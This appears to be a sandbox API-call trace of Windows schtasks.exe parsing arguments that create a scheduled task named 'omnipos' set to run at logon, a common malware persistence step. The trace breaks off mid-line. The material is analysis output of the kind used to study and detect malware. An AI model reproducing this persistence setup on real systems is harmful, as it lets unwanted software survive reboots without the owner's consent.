[0140.857] SetLastError (dwErrCode=0x0) [0140.858] GetProcessHeap () returned 0x270000 [0140.858] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285bc0 [0140.858] GetProcessHeap () returned 0x270000 [0140.858] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285bf0 [0140.858] GetProcessHeap () returned 0x270000 [0140.858] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285c20 [0140.858] GetProcessHeap () returned 0x270000 [0140.858] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285c50 [0140.858] GetProcessHeap () returned 0x270000 [0140.858] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285c80 [0140.858] GetProcessHeap () returned 0x270000 [0140.858] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x18) returned 0x28ba70 [0140.858] _memicmp (_Buf1=0x28ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.858] GetProcessHeap () returned 0x270000 [0140.858] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x208) returned 0x28bc10 [0140.858] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28bc10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0140.858] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0140.860] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0140.860] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0140.861] GetProcessHeap () returned 0x270000 [0140.861] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x74e) returned 0x28c1c0 [0140.861] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0140.861] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x28c1c0 | out: lpData=0x28c1c0) returned 1 [0140.861] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0140.861] VerQueryValueW (in: pBlock=0x28c1c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19f1e8, puLen=0x19f250 | out: lplpBuffer=0x19f1e8*=0x28c55c, puLen=0x19f250) returned 1 [0140.864] _memicmp (_Buf1=0x28ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.864] _vsnwprintf (in: _Buffer=0x28bc10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19f1c8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0140.864] VerQueryValueW (in: pBlock=0x28c1c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19f258, puLen=0x19f248 | out: lplpBuffer=0x19f258*=0x28c388, puLen=0x19f248) returned 1 [0140.864] lstrlenW (lpString="schtasks.exe") returned 12 [0140.864] lstrlenW (lpString="schtasks.exe") returned 12 [0140.864] lstrlenW (lpString=".EXE") returned 4 [0140.865] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0140.865] lstrlenW (lpString="schtasks.exe") returned 12 [0140.865] lstrlenW (lpString=".EXE") returned 4 [0140.865] _memicmp (_Buf1=0x28ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.865] lstrlenW (lpString="schtasks") returned 8 [0140.866] GetProcessHeap () returned 0x270000 [0140.866] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x285d70 [0140.866] GetProcessHeap () returned 0x270000 [0140.866] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cad0 [0140.866] GetProcessHeap () returned 0x270000 [0140.866] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cb00 [0140.866] GetProcessHeap () returned 0x270000 [0140.866] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cb30 [0140.866] GetProcessHeap () returned 0x270000 [0140.866] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x18) returned 0x28ba90 [0140.866] _memicmp (_Buf1=0x28ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.866] GetProcessHeap () returned 0x270000 [0140.866] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0xa0) returned 0x28c010 [0140.866] GetProcessHeap () returned 0x270000 [0140.866] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cb60 [0140.866] GetProcessHeap () returned 0x270000 [0140.866] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cb90 [0140.866] GetProcessHeap () returned 0x270000 [0140.866] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cbc0 [0140.866] GetProcessHeap () returned 0x270000 [0140.866] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x18) returned 0x28bab0 [0140.866] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.866] GetProcessHeap () returned 0x270000 [0140.866] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x200) returned 0x28d2a0 [0140.866] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0140.867] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0140.867] GetProcessHeap () returned 0x270000 [0140.867] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x30) returned 0x287a70 [0140.867] _vsnwprintf (in: _Buffer=0x28c010, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19f1c8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0140.867] GetProcessHeap () returned 0x270000 [0140.867] GetProcessHeap () returned 0x270000 [0140.867] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28c1c0) returned 1 [0140.867] GetProcessHeap () returned 0x270000 [0140.867] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28c1c0) returned 0x74e [0140.867] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28c1c0 | out: hHeap=0x270000) returned 1 [0140.867] SetLastError (dwErrCode=0x0) [0140.867] GetThreadLocale () returned 0x409 [0140.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.868] lstrlenW (lpString="?") returned 1 [0140.868] GetThreadLocale () returned 0x409 [0140.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.868] lstrlenW (lpString="create") returned 6 [0140.868] GetThreadLocale () returned 0x409 [0140.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.868] lstrlenW (lpString="delete") returned 6 [0140.868] GetThreadLocale () returned 0x409 [0140.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.868] lstrlenW (lpString="query") returned 5 [0140.868] GetThreadLocale () returned 0x409 [0140.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.868] lstrlenW (lpString="change") returned 6 [0140.868] GetThreadLocale () returned 0x409 [0140.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.868] lstrlenW (lpString="run") returned 3 [0140.868] GetThreadLocale () returned 0x409 [0140.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.868] lstrlenW (lpString="end") returned 3 [0140.868] GetThreadLocale () returned 0x409 [0140.868] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.868] lstrlenW (lpString="showsid") returned 7 [0140.869] GetThreadLocale () returned 0x409 [0140.869] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.869] SetLastError (dwErrCode=0x0) [0140.869] SetLastError (dwErrCode=0x0) [0140.869] lstrlenW (lpString="/create") returned 7 [0140.869] lstrlenW (lpString="-/") returned 2 [0140.869] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.869] lstrlenW (lpString="?") returned 1 [0140.869] lstrlenW (lpString="?") returned 1 [0140.869] GetProcessHeap () returned 0x270000 [0140.869] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x18) returned 0x28c1c0 [0140.869] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.869] GetProcessHeap () returned 0x270000 [0140.869] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0xa) returned 0x28c1e0 [0140.869] lstrlenW (lpString="create") returned 6 [0140.869] GetProcessHeap () returned 0x270000 [0140.869] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x18) returned 0x28c200 [0140.869] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.869] GetProcessHeap () returned 0x270000 [0140.869] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x14) returned 0x28c220 [0140.869] _vsnwprintf (in: _Buffer=0x28c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|?|") returned 3 [0140.869] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|create|") returned 8 [0140.869] lstrlenW (lpString="|?|") returned 3 [0140.869] lstrlenW (lpString="|create|") returned 8 [0140.869] SetLastError (dwErrCode=0x490) [0140.869] lstrlenW (lpString="create") returned 6 [0140.869] lstrlenW (lpString="create") returned 6 [0140.869] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.869] GetProcessHeap () returned 0x270000 [0140.869] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28c1e0) returned 1 [0140.870] GetProcessHeap () returned 0x270000 [0140.870] RtlReAllocateHeap (Heap=0x270000, Flags=0xc, Ptr=0x28c1e0, Size=0x14) returned 0x28c240 [0140.870] lstrlenW (lpString="create") returned 6 [0140.870] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.870] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|create|") returned 8 [0140.870] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|create|") returned 8 [0140.870] lstrlenW (lpString="|create|") returned 8 [0140.870] lstrlenW (lpString="|create|") returned 8 [0140.870] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0140.870] SetLastError (dwErrCode=0x0) [0140.870] SetLastError (dwErrCode=0x0) [0140.870] SetLastError (dwErrCode=0x0) [0140.870] lstrlenW (lpString="/tn") returned 3 [0140.870] lstrlenW (lpString="-/") returned 2 [0140.870] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.870] lstrlenW (lpString="?") returned 1 [0140.870] lstrlenW (lpString="?") returned 1 [0140.870] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.870] lstrlenW (lpString="tn") returned 2 [0140.870] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.870] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|?|") returned 3 [0140.870] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tn|") returned 4 [0140.870] lstrlenW (lpString="|?|") returned 3 [0140.870] lstrlenW (lpString="|tn|") returned 4 [0140.870] SetLastError (dwErrCode=0x490) [0140.870] lstrlenW (lpString="create") returned 6 [0140.870] lstrlenW (lpString="create") returned 6 [0140.870] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.871] lstrlenW (lpString="tn") returned 2 [0140.871] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.871] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|create|") returned 8 [0140.871] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tn|") returned 4 [0140.871] lstrlenW (lpString="|create|") returned 8 [0140.871] lstrlenW (lpString="|tn|") returned 4 [0140.871] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0140.871] SetLastError (dwErrCode=0x490) [0140.871] lstrlenW (lpString="delete") returned 6 [0140.871] lstrlenW (lpString="delete") returned 6 [0140.871] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.871] lstrlenW (lpString="tn") returned 2 [0140.871] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.871] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|delete|") returned 8 [0140.871] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tn|") returned 4 [0140.871] lstrlenW (lpString="|delete|") returned 8 [0140.871] lstrlenW (lpString="|tn|") returned 4 [0140.871] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0140.871] SetLastError (dwErrCode=0x490) [0140.871] lstrlenW (lpString="query") returned 5 [0140.871] lstrlenW (lpString="query") returned 5 [0140.871] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.871] lstrlenW (lpString="tn") returned 2 [0140.871] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.871] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|query|") returned 7 [0140.871] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tn|") returned 4 [0140.872] lstrlenW (lpString="|query|") returned 7 [0140.872] lstrlenW (lpString="|tn|") returned 4 [0140.872] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0140.872] SetLastError (dwErrCode=0x490) [0140.872] lstrlenW (lpString="change") returned 6 [0140.872] lstrlenW (lpString="change") returned 6 [0140.872] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.872] lstrlenW (lpString="tn") returned 2 [0140.872] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.872] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|change|") returned 8 [0140.872] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tn|") returned 4 [0140.872] lstrlenW (lpString="|change|") returned 8 [0140.872] lstrlenW (lpString="|tn|") returned 4 [0140.872] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0140.872] SetLastError (dwErrCode=0x490) [0140.872] lstrlenW (lpString="run") returned 3 [0140.872] lstrlenW (lpString="run") returned 3 [0140.872] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.872] lstrlenW (lpString="tn") returned 2 [0140.872] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.872] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|run|") returned 5 [0140.872] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tn|") returned 4 [0140.872] lstrlenW (lpString="|run|") returned 5 [0140.872] lstrlenW (lpString="|tn|") returned 4 [0140.872] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0140.872] SetLastError (dwErrCode=0x490) [0140.872] lstrlenW (lpString="end") returned 3 [0140.872] lstrlenW (lpString="end") returned 3 [0140.873] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.873] lstrlenW (lpString="tn") returned 2 [0140.873] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.873] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|end|") returned 5 [0140.873] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tn|") returned 4 [0140.873] lstrlenW (lpString="|end|") returned 5 [0140.873] lstrlenW (lpString="|tn|") returned 4 [0140.873] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0140.873] SetLastError (dwErrCode=0x490) [0140.873] lstrlenW (lpString="showsid") returned 7 [0140.873] lstrlenW (lpString="showsid") returned 7 [0140.873] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.873] GetProcessHeap () returned 0x270000 [0140.873] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28c240) returned 1 [0140.873] GetProcessHeap () returned 0x270000 [0140.873] RtlReAllocateHeap (Heap=0x270000, Flags=0xc, Ptr=0x28c240, Size=0x16) returned 0x28c240 [0140.873] lstrlenW (lpString="tn") returned 2 [0140.873] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.873] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|showsid|") returned 9 [0140.873] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|tn|") returned 4 [0140.873] lstrlenW (lpString="|showsid|") returned 9 [0140.873] lstrlenW (lpString="|tn|") returned 4 [0140.873] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0140.873] SetLastError (dwErrCode=0x490) [0140.873] SetLastError (dwErrCode=0x490) [0140.874] SetLastError (dwErrCode=0x0) [0140.874] lstrlenW (lpString="/tn") returned 3 [0140.874] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0140.874] SetLastError (dwErrCode=0x490) [0140.874] SetLastError (dwErrCode=0x0) [0140.874] lstrlenW (lpString="/tn") returned 3 [0140.874] GetProcessHeap () returned 0x270000 [0140.874] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x8) returned 0x28c1e0 [0140.874] GetProcessHeap () returned 0x270000 [0140.874] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cbf0 [0140.874] SetLastError (dwErrCode=0x0) [0140.874] SetLastError (dwErrCode=0x0) [0140.874] lstrlenW (lpString="omnipos") returned 7 [0140.874] lstrlenW (lpString="-/") returned 2 [0140.874] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0140.874] SetLastError (dwErrCode=0x490) [0140.874] SetLastError (dwErrCode=0x490) [0140.874] SetLastError (dwErrCode=0x0) [0140.874] lstrlenW (lpString="omnipos") returned 7 [0140.874] StrChrIW (lpStart="omnipos", wMatch=0x3a) returned 0x0 [0140.874] SetLastError (dwErrCode=0x490) [0140.874] SetLastError (dwErrCode=0x0) [0140.874] lstrlenW (lpString="omnipos") returned 7 [0140.874] GetProcessHeap () returned 0x270000 [0140.874] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x10) returned 0x28d4e0 [0140.874] GetProcessHeap () returned 0x270000 [0140.874] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cc20 [0140.874] SetLastError (dwErrCode=0x0) [0140.874] SetLastError (dwErrCode=0x0) [0140.874] lstrlenW (lpString="/sc") returned 3 [0140.874] lstrlenW (lpString="-/") returned 2 [0140.874] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.874] lstrlenW (lpString="?") returned 1 [0140.874] lstrlenW (lpString="?") returned 1 [0140.875] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.875] lstrlenW (lpString="sc") returned 2 [0140.875] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.875] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|?|") returned 3 [0140.875] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|sc|") returned 4 [0140.875] lstrlenW (lpString="|?|") returned 3 [0140.875] lstrlenW (lpString="|sc|") returned 4 [0140.875] SetLastError (dwErrCode=0x490) [0140.875] lstrlenW (lpString="create") returned 6 [0140.875] lstrlenW (lpString="create") returned 6 [0140.875] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.875] lstrlenW (lpString="sc") returned 2 [0140.875] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.875] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|create|") returned 8 [0140.875] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|sc|") returned 4 [0140.875] lstrlenW (lpString="|create|") returned 8 [0140.875] lstrlenW (lpString="|sc|") returned 4 [0140.875] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0140.875] SetLastError (dwErrCode=0x490) [0140.875] lstrlenW (lpString="delete") returned 6 [0140.875] lstrlenW (lpString="delete") returned 6 [0140.875] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.875] lstrlenW (lpString="sc") returned 2 [0140.875] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.875] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|delete|") returned 8 [0140.875] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|sc|") returned 4 [0140.875] lstrlenW (lpString="|delete|") returned 8 [0140.876] lstrlenW (lpString="|sc|") returned 4 [0140.876] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0140.876] SetLastError (dwErrCode=0x490) [0140.876] lstrlenW (lpString="query") returned 5 [0140.876] lstrlenW (lpString="query") returned 5 [0140.876] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.876] lstrlenW (lpString="sc") returned 2 [0140.876] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.876] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|query|") returned 7 [0140.876] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|sc|") returned 4 [0140.876] lstrlenW (lpString="|query|") returned 7 [0140.876] lstrlenW (lpString="|sc|") returned 4 [0140.876] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0140.876] SetLastError (dwErrCode=0x490) [0140.876] lstrlenW (lpString="change") returned 6 [0140.876] lstrlenW (lpString="change") returned 6 [0140.876] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.876] lstrlenW (lpString="sc") returned 2 [0140.876] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.876] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|change|") returned 8 [0140.876] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|sc|") returned 4 [0140.876] lstrlenW (lpString="|change|") returned 8 [0140.876] lstrlenW (lpString="|sc|") returned 4 [0140.876] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0140.876] SetLastError (dwErrCode=0x490) [0140.877] lstrlenW (lpString="run") returned 3 [0140.877] lstrlenW (lpString="run") returned 3 [0140.877] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.877] lstrlenW (lpString="sc") returned 2 [0140.877] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.877] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|run|") returned 5 [0140.877] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|sc|") returned 4 [0140.877] lstrlenW (lpString="|run|") returned 5 [0140.877] lstrlenW (lpString="|sc|") returned 4 [0140.877] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0140.877] SetLastError (dwErrCode=0x490) [0140.877] lstrlenW (lpString="end") returned 3 [0140.877] lstrlenW (lpString="end") returned 3 [0140.877] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.877] lstrlenW (lpString="sc") returned 2 [0140.877] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.877] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|end|") returned 5 [0140.877] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|sc|") returned 4 [0140.877] lstrlenW (lpString="|end|") returned 5 [0140.877] lstrlenW (lpString="|sc|") returned 4 [0140.877] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0140.877] SetLastError (dwErrCode=0x490) [0140.877] lstrlenW (lpString="showsid") returned 7 [0140.877] lstrlenW (lpString="showsid") returned 7 [0140.877] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.877] lstrlenW (lpString="sc") returned 2 [0140.877] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.877] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|showsid|") returned 9 [0140.878] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f1d8 | out: _Buffer="|sc|") returned 4 [0140.878] lstrlenW (lpString="|showsid|") returned 9 [0140.878] lstrlenW (lpString="|sc|") returned 4 [0140.878] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0140.878] SetLastError (dwErrCode=0x490) [0140.878] SetLastError (dwErrCode=0x490) [0140.878] SetLastError (dwErrCode=0x0) [0140.878] lstrlenW (lpString="/sc") returned 3 [0140.878] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0140.878] SetLastError (dwErrCode=0x490) [0140.878] SetLastError (dwErrCode=0x0) [0140.878] lstrlenW (lpString="/sc") returned 3 [0140.878] GetProcessHeap () returned 0x270000 [0140.878] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x8) returned 0x28dcb0 [0140.878] GetProcessHeap () returned 0x270000 [0140.878] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cc50 [0140.878] SetLastError (dwErrCode=0x0) [0140.878] SetLastError (dwErrCode=0x0) [0140.878] lstrlenW (lpString="ONLOGON") returned 7 [0140.878] lstrlenW (lpString="-/") returned 2 [0140.878] StrChrIW (lpStart="-/", 